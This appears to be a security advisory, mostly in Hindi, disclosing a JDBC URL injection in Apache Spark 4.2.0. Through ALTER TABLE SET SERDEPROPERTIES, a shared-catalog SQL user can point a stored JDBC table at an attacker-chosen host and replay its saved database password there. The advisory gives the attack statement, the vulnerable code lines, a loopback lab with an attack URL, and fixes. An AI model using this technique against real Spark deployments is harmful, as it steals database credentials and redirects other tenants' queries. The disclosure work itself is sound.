
Apache Spark 4.2.0 - उच्च - रिमोट - JDBC URL इंजेक्शन - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Class: JDBC URL injection Reach: Remote
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 ने स्कैन-टाइम अतिरिक्त विकल्पों को संग्रहीत JDBC url को ओवरराइड करने से रोक दिया। ALTER TABLE SET SERDEPROPERTIES अभी भी storage.properties में मर्ज होता है, जो JDBC स्कैन विकल्प मैप है। संग्रहीत user / password Spark JDBC विकल्प नाम नहीं हैं, इसलिए वे नए URL तक पहुँच जाते हैं।
एक साझा-कैटलॉग SQL उपयोगकर्ता ऑपरेटर-प्रोविज़न किए गए USING jdbc टेबल को रीटार्गेट कर सकता है और संग्रहीत डेटाबेस पासवर्ड को अपनी चुनी हुई होस्ट पर रीप्ले कर सकता है।
| ID | अभी तक कोई CVE नहीं |
| Class | JDBC URL injection / संग्रहीत-क्रेडेंशियल पुनःउपयोग (SPARK-31710 का अवशेष) |
| Reach | Remote (साझा कैटलॉग पर Connect या Hive Thrift SQL) |
| CWE | CWE-15, CWE-522 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Product | Apache Spark |
| Affected | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC टेबल |
| Auth | साझा-कैटलॉग SQL उपयोगकर्ता (जॉब-सबमिट jar नहीं) |
| License | GNU Affero GPL v3.0 |
| Lab | केवल 127.0.0.1:18960 |
एक Connect gRPC SQL सत्र या Hive Thrift SQL सत्र एक साझा externalCatalog पर जिसमें पहले से ही संग्रहीत क्रेडेंशियल्स के साथ एक स्थायी USING jdbc टेबल है। जॉब सबमिटर नहीं। वह सत्र नहीं जिसने मूल URL का नाम दिया।
| Method | Sink | Privilege |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') फिर REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties फिर JDBC Driver.connect(url, properties) | Integrity: प्रोविज़न किए गए टेबल को हमलावर लिसनर पर रीटार्गेट करें। लैब-प्रमाणित (connect=yes)। Confidentiality: PostgreSQL स्टार्टअप और क्लियरटेक्स्ट ऑथ पर संग्रहीत DB user / password रीप्ले करें। लैब-प्रमाणित (user-replay=true password-replay=true)। SHOW CREATE के माध्यम से सीक्रेट की रेकॉन बंद है (रिडैक्टेड)। |
वही पर्सिस्ट, बाद में टेनेंट t पर SELECT | साझा कैटलॉग पंक्ति | Integrity, अनुमानित: t के विरुद्ध अन्य सत्रों की क्वेरीज़ अब नए URL पर हिट करती हैं (गलत DB, हमलावर-नियंत्रित पंक्तियाँ)। Availability, अनुमानित: मूल DB तब तक अगम्य है जब तक कोई एडमिन serde रीसेट न करे। DoS के लिए बार से बाहर। |
अतिरिक्त serde कुंजियाँ (sessionInitStatement, prepareQuery, driver) | शेष user / password पर स्कैन विकल्प | Integrity, अनुमानित: अतिरिक्त स्टेटमेंट या क्लासपाथ Driver नो-आर्ग ctor। डिफ़ॉल्ट-क्लासपाथ गैजेट के बिना RCE तक न बढ़ाएँ। प्रयोग नहीं किया गया। |
ALTER TABLE SET TBLPROPERTIES | केवल CatalogTable.properties | इस वॉक के लिए बंद। लैब-प्रमाणित (storage url अपरिवर्तित, कोई oracle हिट नहीं)। |
स्कैन-टाइम अतिरिक्त विकल्प url टकराव | SPARK-31710 generateDatasourceOptions | बंद। लैब-प्रमाणित (extra-options-clash अस्वीकृत)। |
उसी सत्र द्वारा नामित spark.read.format("jdbc").option("url", ...) | इच्छित डेटा-प्लेन | DROP। स्वामी-नियंत्रित URL यह अवशेष नहीं है। |
डेटासोर्स टेबल पर SET SERDE '<class>' | क्लास नाम | बंद (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE)। प्रयोग नहीं किया गया। |
निकटवर्ती बंद: सत्र-नामित JDBC / फ़ाइल पथ। spark.sql.legacy.extraOptionsBehavior टकराव जाँच। OSS Spark में Unity externalOptionsAllowList नहीं है। CREATE TABLE URL स्वामी-नियंत्रित है (यह अवशेष नहीं)। JDBC URL लॉग रिडैक्शन बिना शर्त है। फ़ाइल-टेबल path locationUri में रहता है। JDBCTableCatalog कनेक्शन सत्र कैटलॉग कॉन्फ़ से आते हैं (URL चुनने के समान डेटा-प्लेन)। बिना साझा कैटलॉग वाला एकल-उपयोगकर्ता pyspark मॉडल से बाहर है।
मैंने Spark 4.2.0 पिन किया, master नहीं और 4.3 RC नहीं। खुले क्लस्टर पर जॉब सबमिट डिज़ाइन से है। दिलचस्प अवशेष नामित फ़िक्स के बगल में बैठते हैं। SPARK-31710 / generateDatasourceOptions मौजूदा serde कुंजी के लिए भिन्न स्कैन-टाइम url को अस्वीकार करता है। SET TBLPROPERTIES केवल table.properties लिखता है। डेटासोर्स टेबल अभी भी SET SERDEPROPERTIES की अनुमति देते हैं और storage.properties में मर्ज होते हैं (++, बाद की कुंजियाँ जीतती हैं)। user और password कभी jdbcOptionNames में प्रवेश नहीं करते, इसलिए asConnectionProperties उन्हें Driver.connect को सौंप देता है।
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE password को रिडैक्ट करता है। SQL उपयोगकर्ता सीक्रेट को वापस नहीं पढ़ सकता। वे अभी भी उस पर सवारी कर सकते हैं।
पहले से दर्ज गलत मोड़: CREATE TABLE url को बग मानना; extra-options टकराव को फिर से दर्ज करना; SET TBLPROPERTIES से storage हिलने की अपेक्षा; SHOW CREATE पासवर्ड लीक करता है ऐसा दावा; पूरा क्लस्टर चलाना जब उद्धृत Scala एक गैजेट है; एक रिवर्स शेल। Oracle लूपबैक पर एक PostgreSQL स्टार्टअप प्लस क्लियरटेक्स्ट ऑथ है।
cd lab
./run.sh
लूपबैक 127.0.0.1:18960 एक PostgreSQL प्रोटोकॉल लिसनर है। HTTP हेल्थ 127.0.0.1:18961 है। गैजेट कंटेनर Temurin 21 प्लस libpostgresql-jdbc-java है। संग्रहीत URL jdbc:postgresql://127.0.0.1:1/provisioned है (कनेक्शन अस्वीकृत)। हमला URL jdbc:postgresql://oracle:18960/stolen है। संग्रहीत उपयोगकर्ता spark_jdbc। संग्रहीत पासवर्ड stored-secret-SPARK-JDBC-SERDE-URL। इसे लूपबैक से बाइंड करें।
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
संग्रहीत JDBC url / user / password से टकराने वाली SET SERDEPROPERTIES कुंजियों को अस्वीकार करें, वही जाँच जो generateDatasourceOptions पहले से स्कैन-टाइम अतिरिक्त के लिए चलाता है। या जब url बदले तो संग्रहीत user / password हटा दें। या डेटासोर्स JDBC serde को टेबल प्रॉपर्टीज़ मानें, storage नहीं। तब तक, एक स्थायी USING jdbc टेबल पर जो पासवर्ड संग्रहीत करती है, अविश्वसनीय SQL को ALTER TABLE न दें।